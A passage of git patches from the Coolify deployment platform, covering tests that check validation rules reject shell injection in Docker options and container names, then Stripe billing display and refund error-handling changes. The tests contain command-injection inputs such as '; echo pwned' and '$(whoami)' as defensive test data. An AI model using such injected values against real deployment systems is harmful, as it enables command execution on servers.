expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command')) + ->toBe('docker compose up -d --build'); + }); +}); + +describe('custom_docker_run_options validation', function () { + test('rejects semicolon injection in custom_docker_run_options', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['custom_docker_run_options' => '--cap-add=NET_ADMIN; echo pwned'], + ['custom_docker_run_options' => $rules['custom_docker_run_options']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in custom_docker_run_options', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['custom_docker_run_options' => '--hostname=$(whoami)'], + ['custom_docker_run_options' => $rules['custom_docker_run_options']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid docker run options', function ($opts) { + $rules = sharedDataApplications(); + + $validator = validator( + ['custom_docker_run_options' => $opts], + ['custom_docker_run_options' => $rules['custom_docker_run_options']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + '--cap-add=NET_ADMIN --cap-add=NET_RAW', + '--privileged --init', + '--memory=512m --cpus=2', + ]); +}); + +describe('container name validation', function () { + test('rejects shell injection in container name', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['post_deployment_command_container' => 'my-container; echo pwned'], + ['post_deployment_command_container' => $rules['post_deployment_command_container']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid container names', function ($name) { + $rules = sharedDataApplications(); + + $validator = validator( + ['post_deployment_command_container' => $name], + ['post_deployment_command_container' => $rules['post_deployment_command_container']] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['my-app', 'nginx_proxy', 'web.server', 'app123']); + + test('runtime validates container names', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validateContainerName'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, 'container; echo pwned')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + + expect($method->invoke($instance, 'my-app')) + ->toBe('my-app'); + }); +}); + +describe('dockerfile_target_build rules survive array_merge in controller', function () { + test('dockerfile_target_build safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + // Simulate what ApplicationsController does: array_merge(shared, local) + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged)->toHaveKey('dockerfile_target_build'); + expect($merged['dockerfile_target_build'])->toBeArray(); + expect($merged['dockerfile_target_build'])->toContain('regex:'.\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN); + }); +}); + +describe('docker_compose_custom_command rules survive array_merge in controller', function () { + test('docker_compose_custom_start_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + // Simulate what ApplicationsController does: array_merge(shared, local) + // After our fix, local no longer contains docker_compose_custom_start_command, + // so the shared regex rule must survive + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['docker_compose_custom_start_command'])->toBeArray(); + expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); + + test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['docker_compose_custom_build_command'])->toBeArray(); + expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); +}); + describe('API route middleware for deploy actions', function () { test('application start route requires deploy ability', function () { $routes = app('router')->getRoutes(); From 426a708374dc17cef700ba5b90070ce50758f46a Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 18 Mar 2026 15:11:19 +0100 Subject: [PATCH 225/305] feat(subscription): display next billing date and billing interval Add current_period_end to refund eligibility checks and display next billing date and billing interval in the subscription overview. Refactor the plan overview layout to show subscription status more prominently. --- app/Actions/Stripe/RefundSubscription.php | 14 +- app/Livewire/Subscription/Actions.php | 10 ++ jean.json | 11 +- .../livewire/subscription/actions.blade.php | 120 ++++++++++-------- .../Subscription/RefundSubscriptionTest.php | 15 +++ 5 files changed, 113 insertions(+), 57 deletions(-) diff --git a/app/Actions/Stripe/RefundSubscription.php b/app/Actions/Stripe/RefundSubscription.php index 021cba13e..512afdb9e 100644 --- a/app/Actions/Stripe/RefundSubscription.php +++ b/app/Actions/Stripe/RefundSubscription.php @@ -19,7 +19,7 @@ public function __construct(?StripeClient $stripe = null) /** * Check if the team's subscription is eligible for a refund. * - * @return array{eligible: bool, days_remaining: int, reason: string} + * @return array{eligible: bool, days_remaining: int, reason: string, current_period_end: int|null} */ public function checkEligibility(Team $team): array { @@ -43,8 +43,10 @@ public function checkEligibility(Team $team): array return $this->ineligible('Subscription not found in Stripe.'); } + $currentPeriodEnd = $stripeSubscription->current_period_end; + if (! in_array($stripeSubscription->status, ['active', 'trialing'])) { - return $this->ineligible("Subscription status is '{$stripeSubscription->status}'."); + return $this->ineligible("Subscription status is '{$stripeSubscription->status}'.", $currentPeriodEnd); } $startDate = \Carbon\Carbon::createFromTimestamp($stripeSubscription->start_date); @@ -52,13 +54,14 @@ public function checkEligibility(Team $team): array $daysRemaining = self::REFUND_WINDOW_DAYS - $daysSinceStart; if ($daysRemaining <= 0) { - return $this->ineligible('The 30-day refund window has expired.'); + return $this->ineligible('The 30-day refund window has expired.', $currentPeriodEnd); } return [ 'eligible' => true, 'days_remaining' => $daysRemaining, 'reason' => 'Eligible for refund.', + 'current_period_end' => $currentPeriodEnd, ]; } @@ -128,14 +131,15 @@ public function execute(Team $team): array } /** - * @return array{eligible: bool, days_remaining: int, reason: string} + * @return array{eligible: bool, days_remaining: int, reason: string, current_period_end: int|null} */ - private function ineligible(string $reason): array + private function ineligible(string $reason, ?int $currentPeriodEnd = null): array { return [ 'eligible' => false, 'days_remaining' => 0, 'reason' => $reason, + 'current_period_end' => $currentPeriodEnd, ]; } } diff --git a/app/Livewire/Subscription/Actions.php b/app/Livewire/Subscription/Actions.php index 2d5392240..33eed3a6a 100644 --- a/app/Livewire/Subscription/Actions.php +++ b/app/Livewire/Subscription/Actions.php @@ -7,6 +7,7 @@ use App\Actions\Stripe\ResumeSubscription; use App\Actions\Stripe\UpdateSubscriptionQuantity; use App\Models\Team; +use Carbon\Carbon; use Illuminate\Support\Facades\Hash; use Livewire\Component; use Stripe\StripeClient; @@ -31,10 +32,15 @@ class Actions extends Component public bool $refundAlreadyUsed = false; + public string $billingInterval = 'monthly'; + + public ?string $nextBillingDate = null; + public function mount(): void { $this->server_limits = Team::serverLimit(); $this->quantity = (int) $this->server_limits; + $this->billingInterval = currentTeam()->subscription?->billingInterval() ?? 'monthly'; } public function loadPricePreview(int $quantity): void @@ -198,6 +204,10 @@ private function checkRefundEligibility(): void $result = (new RefundSubscription)->checkEligibility(currentTeam()); $this->isRefundEligible = $result['eligible']; $this->refundDaysRemaining = $result['days_remaining']; + + if ($result['current_period_end']) { + $this->nextBillingDate = Carbon::createFromTimestamp($result['current_period_end'])->format('M j, Y'); + } } catch (\Exception $e) { \Log::warning('Refund eligibility check failed: '.$e->getMessage()); } diff --git a/jean.json b/jean.json index 402bcd02d..5cd8362d9 100644 --- a/jean.json +++ b/jean.json @@ -1,6 +1,13 @@ { "scripts": { "setup": "cp $JEAN_ROOT_PATH/.env . && mkdir -p .claude && cp $JEAN_ROOT_PATH/.claude/settings.local.json .claude/settings.local.json", + "teardown": null, "run": "docker rm -f coolify coolify-minio-init coolify-realtime coolify-minio coolify-testing-host coolify-redis coolify-db coolify-mail coolify-vite; spin up; spin down" - } -} \ No newline at end of file + }, + "ports": [ + { + "port": 8000, + "label": "Coolify UI" + } + ] +} diff --git a/resources/views/livewire/subscription/actions.blade.php b/resources/views/livewire/subscription/actions.blade.php index c2bc7f221..6fba0ed83 100644 --- a/resources/views/livewire/subscription/actions.blade.php +++ b/resources/views/livewire/subscription/actions.blade.php @@ -35,44 +35,44 @@ }" @success.window="preview = null; showModal = false; qty = $wire.server_limits" @keydown.escape.window="if (showModal) { closeAdjust(); }" class="-mt-2">

Plan Overview

-
- {{-- Current Plan Card --}} -
-
Current Plan
-
+
+
+ Plan: + @if (data_get(currentTeam(), 'subscription')->type() == 'dynamic') Pay-as-you-go @else {{ data_get(currentTeam(), 'subscription')->type() }} @endif -
-
+ + · {{ $billingInterval === 'yearly' ? 'Yearly' : 'Monthly' }} + · + @if (currentTeam()->subscription->stripe_cancel_at_period_end) + Cancelling at end of period + @else + Active + @endif +
+
+ + Active servers: + {{ currentTeam()->servers->count() }} + / + + paid + + Adjust +
+
+ @if ($refundCheckLoading) + + @elseif ($nextBillingDate) @if (currentTeam()->subscription->stripe_cancel_at_period_end) - Cancelling at end of period + Cancels on {{ $nextBillingDate }} @else - Active - · Invoice - {{ currentTeam()->subscription->stripe_invoice_paid ? 'paid' : 'not paid' }} + Next billing {{ $nextBillingDate }} @endif -
-
- - {{-- Paid Servers Card --}} -
-
Paid Servers
-
-
Click to adjust
-
- - {{-- Active Servers Card --}} -
-
Active Servers
-
- {{ currentTeam()->servers->count() }} -
-
Currently running
+ @endif
@@ -99,9 +99,9 @@ class="fixed top-0 left-0 z-99 flex items-center justify-center w-screen h-scree x-transition:leave-end="opacity-0 -translate-y-2 sm:scale-95" class="relative w-full border rounded-sm min-w-full lg:min-w-[36rem] max-w-[48rem] max-h-[calc(100vh-2rem)] bg-neutral-100 border-neutral-400 dark:bg-base dark:border-coolgray-300 flex flex-col">
-

Adjust Server Limit

+

Adjust Server Limit

-
Next billing cycle
+
+ Next billing cycle + @if ($nextBillingDate) + · {{ $nextBillingDate }} + @endif +
@@ -155,7 +160,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
- Total / month + Total / {{ $billingInterval === 'yearly' ? 'year' : 'month' }}
@@ -175,7 +180,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg warningMessage="This will update your subscription and charge the prorated amount to your payment method." step2ButtonText="Confirm & Pay"> - + Update Server Limit @@ -194,11 +199,10 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg - {{-- Billing, Refund & Cancellation --}} + {{-- Manage Subscription --}}

Manage Subscription

- {{-- Billing --}} @@ -207,8 +211,13 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg Manage Billing on Stripe +
+
- {{-- Resume or Cancel --}} + {{-- Cancel Subscription --}} +
+

Cancel Subscription

+
@if (currentTeam()->subscription->stripe_cancel_at_period_end) Resume Subscription @else @@ -231,10 +240,18 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg confirmationLabel="Enter your team name to confirm" shortConfirmationLabel="Team Name" step2ButtonText="Permanently Cancel" /> @endif +
+ @if (currentTeam()->subscription->stripe_cancel_at_period_end) +

Your subscription is set to cancel at the end of the billing period.

+ @endif +
- {{-- Refund --}} + {{-- Refund --}} +
+

Refund

+
@if ($refundCheckLoading) - + Request Full Refund @elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) + @else + Request Full Refund @endif
- - {{-- Contextual notes --}} - @if ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) -

Eligible for a full refund — {{ $refundDaysRemaining }} days remaining.

- @elseif ($refundAlreadyUsed) -

Refund already processed. Each team is eligible for one refund only.

- @endif - @if (currentTeam()->subscription->stripe_cancel_at_period_end) -

Your subscription is set to cancel at the end of the billing period.

- @endif +

+ @if ($refundCheckLoading) + Checking refund eligibility... + @elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) + Eligible for a full refund — {{ $refundDaysRemaining }} days remaining. + @elseif ($refundAlreadyUsed) + Refund already processed. Each team is eligible for one refund only. + @else + Not eligible for a refund. + @endif +

diff --git a/tests/Feature/Subscription/RefundSubscriptionTest.php b/tests/Feature/Subscription/RefundSubscriptionTest.php index b6c2d4064..2447a0716 100644 --- a/tests/Feature/Subscription/RefundSubscriptionTest.php +++ b/tests/Feature/Subscription/RefundSubscriptionTest.php @@ -43,9 +43,11 @@ describe('checkEligibility', function () { test('returns eligible when subscription is within 30 days', function () { + $periodEnd = now()->addDays(20)->timestamp; $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => $periodEnd, ]; $this->mockSubscriptions @@ -58,12 +60,15 @@ expect($result['eligible'])->toBeTrue(); expect($result['days_remaining'])->toBe(20); + expect($result['current_period_end'])->toBe($periodEnd); }); test('returns ineligible when subscription is past 30 days', function () { + $periodEnd = now()->addDays(25)->timestamp; $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(35)->timestamp, + 'current_period_end' => $periodEnd, ]; $this->mockSubscriptions @@ -77,12 +82,15 @@ expect($result['eligible'])->toBeFalse(); expect($result['days_remaining'])->toBe(0); expect($result['reason'])->toContain('30-day refund window has expired'); + expect($result['current_period_end'])->toBe($periodEnd); }); test('returns ineligible when subscription is not active', function () { + $periodEnd = now()->addDays(25)->timestamp; $stripeSubscription = (object) [ 'status' => 'canceled', 'start_date' => now()->subDays(5)->timestamp, + 'current_period_end' => $periodEnd, ]; $this->mockSubscriptions @@ -94,6 +102,7 @@ $result = $action->checkEligibility($this->team); expect($result['eligible'])->toBeFalse(); + expect($result['current_period_end'])->toBe($periodEnd); }); test('returns ineligible when no subscription exists', function () { @@ -104,6 +113,7 @@ expect($result['eligible'])->toBeFalse(); expect($result['reason'])->toContain('No active subscription'); + expect($result['current_period_end'])->toBeNull(); }); test('returns ineligible when invoice is not paid', function () { @@ -114,6 +124,7 @@ expect($result['eligible'])->toBeFalse(); expect($result['reason'])->toContain('not paid'); + expect($result['current_period_end'])->toBeNull(); }); test('returns ineligible when team has already been refunded', function () { @@ -145,6 +156,7 @@ $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => now()->addDays(20)->timestamp, ]; $this->mockSubscriptions @@ -205,6 +217,7 @@ $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => now()->addDays(20)->timestamp, ]; $this->mockSubscriptions @@ -229,6 +242,7 @@ $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => now()->addDays(20)->timestamp, ]; $this->mockSubscriptions @@ -255,6 +269,7 @@ $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(35)->timestamp, + 'current_period_end' => now()->addDays(25)->timestamp, ]; $this->mockSubscriptions From 566744b2e036897fc8200dd3622ba097aff1bf6c Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 18 Mar 2026 15:21:59 +0100 Subject: [PATCH 226/305] fix(stripe): add error handling and resilience to subscription operations - Record refunds immediately before cancellation to prevent retry issues if cancel fails - Wrap Stripe API calls in try-catch for refunds and quantity reverts with internal notifications - Add null check in Team.subscriptionEnded() to prevent NPE when subscription doesn't exist - Fix control flow bug in StripeProcessJob (add missing break statement) - Cap dynamic server limit with MAX_SERVER_LIMIT in subscription updates - Add comprehensive tests for refund failures, event handling, and null safety --- app/Actions/Stripe/RefundSubscription.php | 19 ++- .../Stripe/UpdateSubscriptionQuantity.php | 19 ++- app/Jobs/StripeProcessJob.php | 6 +- .../VerifyStripeSubscriptionStatusJob.php | 9 +- app/Models/Team.php | 4 + .../Subscription/RefundSubscriptionTest.php | 50 ++++++ .../Subscription/StripeProcessJobTest.php | 143 ++++++++++++++++++ .../TeamSubscriptionEndedTest.php | 16 ++ .../VerifyStripeSubscriptionStatusJobTest.php | 102 +++++++++++++ 9 files changed, 350 insertions(+), 18 deletions(-) create mode 100644 tests/Feature/Subscription/StripeProcessJobTest.php create mode 100644 tests/Feature/Subscription/TeamSubscriptionEndedTest.php create mode 100644 tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php diff --git a/app/Actions/Stripe/RefundSubscription.php b/app/Actions/Stripe/RefundSubscription.php index 021cba13e..fc8191f5b 100644 --- a/app/Actions/Stripe/RefundSubscription.php +++ b/app/Actions/Stripe/RefundSubscription.php @@ -99,16 +99,27 @@ public function execute(Team $team): array 'payment_intent' => $paymentIntentId, ]); - $this->stripe->subscriptions->cancel($subscription->stripe_subscription_id); + // Record refund immediately so it cannot be retried if cancel fails + $subscription->update([ + 'stripe_refunded_at' => now(), + 'stripe_feedback' => 'Refund requested by user', + 'stripe_comment' => 'Full refund processed within 30-day window at '.now()->toDateTimeString(), + ]); + + try { + $this->stripe->subscriptions->cancel($subscription->stripe_subscription_id); + } catch (\Exception $e) { + \Log::critical("Refund succeeded but subscription cancel failed for team {$team->id}: ".$e->getMessage()); + send_internal_notification( + "CRITICAL: Refund succeeded but cancel failed for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Manual intervention required." + ); + } $subscription->update([ 'stripe_cancel_at_period_end' => false, 'stripe_invoice_paid' => false, 'stripe_trial_already_ended' => false, 'stripe_past_due' => false, - 'stripe_feedback' => 'Refund requested by user', - 'stripe_comment' => 'Full refund processed within 30-day window at '.now()->toDateTimeString(), - 'stripe_refunded_at' => now(), ]); $team->subscriptionEnded(); diff --git a/app/Actions/Stripe/UpdateSubscriptionQuantity.php b/app/Actions/Stripe/UpdateSubscriptionQuantity.php index c181e988d..a3eab4dca 100644 --- a/app/Actions/Stripe/UpdateSubscriptionQuantity.php +++ b/app/Actions/Stripe/UpdateSubscriptionQuantity.php @@ -153,12 +153,19 @@ public function execute(Team $team, int $quantity): array \Log::warning("Subscription {$subscription->stripe_subscription_id} quantity updated but invoice not paid (status: {$latestInvoice->status}) for team {$team->name}. Reverting to {$previousQuantity}."); // Revert subscription quantity on Stripe - $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ - 'items' => [ - ['id' => $item->id, 'quantity' => $previousQuantity], - ], - 'proration_behavior' => 'none', - ]); + try { + $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ + 'items' => [ + ['id' => $item->id, 'quantity' => $previousQuantity], + ], + 'proration_behavior' => 'none', + ]); + } catch (\Exception $revertException) { + \Log::critical("Failed to revert Stripe quantity for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Stripe may have quantity {$quantity} but local is {$previousQuantity}. Error: ".$revertException->getMessage()); + send_internal_notification( + "CRITICAL: Stripe quantity revert failed for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Manual reconciliation required." + ); + } // Void the unpaid invoice if ($latestInvoice->id) { diff --git a/app/Jobs/StripeProcessJob.php b/app/Jobs/StripeProcessJob.php index e61ac81e4..f5d52f29c 100644 --- a/app/Jobs/StripeProcessJob.php +++ b/app/Jobs/StripeProcessJob.php @@ -2,6 +2,7 @@ namespace App\Jobs; +use App\Actions\Stripe\UpdateSubscriptionQuantity; use App\Models\Subscription; use App\Models\Team; use Illuminate\Contracts\Queue\ShouldBeEncrypted; @@ -238,6 +239,7 @@ public function handle(): void 'stripe_invoice_paid' => false, ]); } + break; case 'customer.subscription.updated': $teamId = data_get($data, 'metadata.team_id'); $userId = data_get($data, 'metadata.user_id'); @@ -272,14 +274,14 @@ public function handle(): void $comment = data_get($data, 'cancellation_details.comment'); $lookup_key = data_get($data, 'items.data.0.price.lookup_key'); if (str($lookup_key)->contains('dynamic')) { - $quantity = data_get($data, 'items.data.0.quantity', 2); + $quantity = min((int) data_get($data, 'items.data.0.quantity', 2), UpdateSubscriptionQuantity::MAX_SERVER_LIMIT); $team = data_get($subscription, 'team'); if ($team) { $team->update([ 'custom_server_limit' => $quantity, ]); + ServerLimitCheckJob::dispatch($team); } - ServerLimitCheckJob::dispatch($team); } $subscription->update([ 'stripe_feedback' => $feedback, diff --git a/app/Jobs/VerifyStripeSubscriptionStatusJob.php b/app/Jobs/VerifyStripeSubscriptionStatusJob.php index cf7c3c0ea..f7addacf1 100644 --- a/app/Jobs/VerifyStripeSubscriptionStatusJob.php +++ b/app/Jobs/VerifyStripeSubscriptionStatusJob.php @@ -82,12 +82,9 @@ public function handle(): void 'stripe_past_due' => false, ]); - // Trigger subscription ended logic if canceled - if ($stripeSubscription->status === 'canceled') { - $team = $this->subscription->team; - if ($team) { - $team->subscriptionEnded(); - } + $team = $this->subscription->team; + if ($team) { + $team->subscriptionEnded(); } break; diff --git a/app/Models/Team.php b/app/Models/Team.php index e32526169..10b22b4e1 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -197,6 +197,10 @@ public function isAnyNotificationEnabled() public function subscriptionEnded() { + if (! $this->subscription) { + return; + } + $this->subscription->update([ 'stripe_subscription_id' => null, 'stripe_cancel_at_period_end' => false, diff --git a/tests/Feature/Subscription/RefundSubscriptionTest.php b/tests/Feature/Subscription/RefundSubscriptionTest.php index b6c2d4064..144cdad09 100644 --- a/tests/Feature/Subscription/RefundSubscriptionTest.php +++ b/tests/Feature/Subscription/RefundSubscriptionTest.php @@ -251,6 +251,56 @@ expect($result['error'])->toContain('No payment intent'); }); + test('records refund and proceeds when cancel fails', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $invoiceCollection = (object) ['data' => [ + (object) ['payment_intent' => 'pi_test_123'], + ]]; + + $this->mockInvoices + ->shouldReceive('all') + ->with([ + 'subscription' => 'sub_test_123', + 'status' => 'paid', + 'limit' => 1, + ]) + ->andReturn($invoiceCollection); + + $this->mockRefunds + ->shouldReceive('create') + ->with(['payment_intent' => 'pi_test_123']) + ->andReturn((object) ['id' => 're_test_123']); + + // Cancel throws — simulating Stripe failure after refund + $this->mockSubscriptions + ->shouldReceive('cancel') + ->with('sub_test_123') + ->andThrow(new \Exception('Stripe cancel API error')); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + // Should still succeed — refund went through + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->subscription->refresh(); + // Refund timestamp must be recorded + expect($this->subscription->stripe_refunded_at)->not->toBeNull(); + // Subscription should still be marked as ended locally + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); + }); + test('fails when subscription is past refund window', function () { $stripeSubscription = (object) [ 'status' => 'active', diff --git a/tests/Feature/Subscription/StripeProcessJobTest.php b/tests/Feature/Subscription/StripeProcessJobTest.php new file mode 100644 index 000000000..95cff188a --- /dev/null +++ b/tests/Feature/Subscription/StripeProcessJobTest.php @@ -0,0 +1,143 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + config()->set('subscription.stripe_excluded_plans', ''); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); +}); + +describe('customer.subscription.created does not fall through to updated', function () { + test('created event creates subscription without setting stripe_invoice_paid to true', function () { + Queue::fake(); + + $event = [ + 'type' => 'customer.subscription.created', + 'data' => [ + 'object' => [ + 'customer' => 'cus_new_123', + 'id' => 'sub_new_123', + 'metadata' => [ + 'team_id' => $this->team->id, + 'user_id' => $this->user->id, + ], + ], + ], + ]; + + $job = new StripeProcessJob($event); + $job->handle(); + + $subscription = Subscription::where('team_id', $this->team->id)->first(); + + expect($subscription)->not->toBeNull(); + expect($subscription->stripe_subscription_id)->toBe('sub_new_123'); + expect($subscription->stripe_customer_id)->toBe('cus_new_123'); + // Critical: stripe_invoice_paid must remain false — payment not yet confirmed + expect($subscription->stripe_invoice_paid)->toBeFalsy(); + }); +}); + +describe('customer.subscription.updated clamps quantity to MAX_SERVER_LIMIT', function () { + test('quantity exceeding MAX is clamped to 100', function () { + Queue::fake(); + + Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_existing', + 'stripe_customer_id' => 'cus_clamp_test', + 'stripe_invoice_paid' => true, + ]); + + $event = [ + 'type' => 'customer.subscription.updated', + 'data' => [ + 'object' => [ + 'customer' => 'cus_clamp_test', + 'id' => 'sub_existing', + 'status' => 'active', + 'metadata' => [ + 'team_id' => $this->team->id, + 'user_id' => $this->user->id, + ], + 'items' => [ + 'data' => [[ + 'subscription' => 'sub_existing', + 'plan' => ['id' => 'price_dynamic_monthly'], + 'price' => ['lookup_key' => 'dynamic_monthly'], + 'quantity' => 999, + ]], + ], + 'cancel_at_period_end' => false, + 'cancellation_details' => ['feedback' => null, 'comment' => null], + ], + ], + ]; + + $job = new StripeProcessJob($event); + $job->handle(); + + $this->team->refresh(); + expect($this->team->custom_server_limit)->toBe(100); + + Queue::assertPushed(ServerLimitCheckJob::class); + }); +}); + +describe('ServerLimitCheckJob dispatch is guarded by team check', function () { + test('does not dispatch ServerLimitCheckJob when team is null', function () { + Queue::fake(); + + // Create subscription without a valid team relationship + $subscription = Subscription::create([ + 'team_id' => 99999, + 'stripe_subscription_id' => 'sub_orphan', + 'stripe_customer_id' => 'cus_orphan_test', + 'stripe_invoice_paid' => true, + ]); + + $event = [ + 'type' => 'customer.subscription.updated', + 'data' => [ + 'object' => [ + 'customer' => 'cus_orphan_test', + 'id' => 'sub_orphan', + 'status' => 'active', + 'metadata' => [ + 'team_id' => null, + 'user_id' => null, + ], + 'items' => [ + 'data' => [[ + 'subscription' => 'sub_orphan', + 'plan' => ['id' => 'price_dynamic_monthly'], + 'price' => ['lookup_key' => 'dynamic_monthly'], + 'quantity' => 5, + ]], + ], + 'cancel_at_period_end' => false, + 'cancellation_details' => ['feedback' => null, 'comment' => null], + ], + ], + ]; + + $job = new StripeProcessJob($event); + $job->handle(); + + Queue::assertNotPushed(ServerLimitCheckJob::class); + }); +}); diff --git a/tests/Feature/Subscription/TeamSubscriptionEndedTest.php b/tests/Feature/Subscription/TeamSubscriptionEndedTest.php new file mode 100644 index 000000000..55d59e0e6 --- /dev/null +++ b/tests/Feature/Subscription/TeamSubscriptionEndedTest.php @@ -0,0 +1,16 @@ +create(); + + // Should return early without error — no NPE + $team->subscriptionEnded(); + + // If we reach here, no exception was thrown + expect(true)->toBeTrue(); +}); diff --git a/tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php b/tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php new file mode 100644 index 000000000..be8661b6c --- /dev/null +++ b/tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php @@ -0,0 +1,102 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_verify_123', + 'stripe_customer_id' => 'cus_verify_123', + 'stripe_invoice_paid' => true, + 'stripe_past_due' => false, + ]); +}); + +test('subscriptionEnded is called for unpaid status', function () { + $mockStripe = Mockery::mock(StripeClient::class); + $mockSubscriptions = Mockery::mock(SubscriptionService::class); + $mockStripe->subscriptions = $mockSubscriptions; + + $mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_verify_123') + ->andReturn((object) [ + 'status' => 'unpaid', + 'cancel_at_period_end' => false, + ]); + + app()->bind(StripeClient::class, fn () => $mockStripe); + + // Create a server to verify it gets disabled + $server = Server::factory()->create(['team_id' => $this->team->id]); + + $job = new VerifyStripeSubscriptionStatusJob($this->subscription); + $job->handle(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); +}); + +test('subscriptionEnded is called for incomplete_expired status', function () { + $mockStripe = Mockery::mock(StripeClient::class); + $mockSubscriptions = Mockery::mock(SubscriptionService::class); + $mockStripe->subscriptions = $mockSubscriptions; + + $mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_verify_123') + ->andReturn((object) [ + 'status' => 'incomplete_expired', + 'cancel_at_period_end' => false, + ]); + + app()->bind(StripeClient::class, fn () => $mockStripe); + + $job = new VerifyStripeSubscriptionStatusJob($this->subscription); + $job->handle(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); +}); + +test('subscriptionEnded is called for canceled status', function () { + $mockStripe = Mockery::mock(StripeClient::class); + $mockSubscriptions = Mockery::mock(SubscriptionService::class); + $mockStripe->subscriptions = $mockSubscriptions; + + $mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_verify_123') + ->andReturn((object) [ + 'status' => 'canceled', + 'cancel_at_period_end' => false, + ]); + + app()->bind(StripeClient::class, fn () => $mockStripe); + + $job = new VerifyStripeSubscriptionStatusJob($this->subscription); + $job->handle(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); +}); From ca3ae289eb7f48bac23ae143ff5c1416b14ab72e Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 11:42:29 +0100 Subject: [PATCH 227/305] feat(storage): add resources tab and improve S3 deletion handling Add new Resources tab to storage show page displaying backup schedules using that storage. Refactor storage show layout with navigation tabs for General and Resources sections. Move delete action from form to show component. Implement cascade deletion in 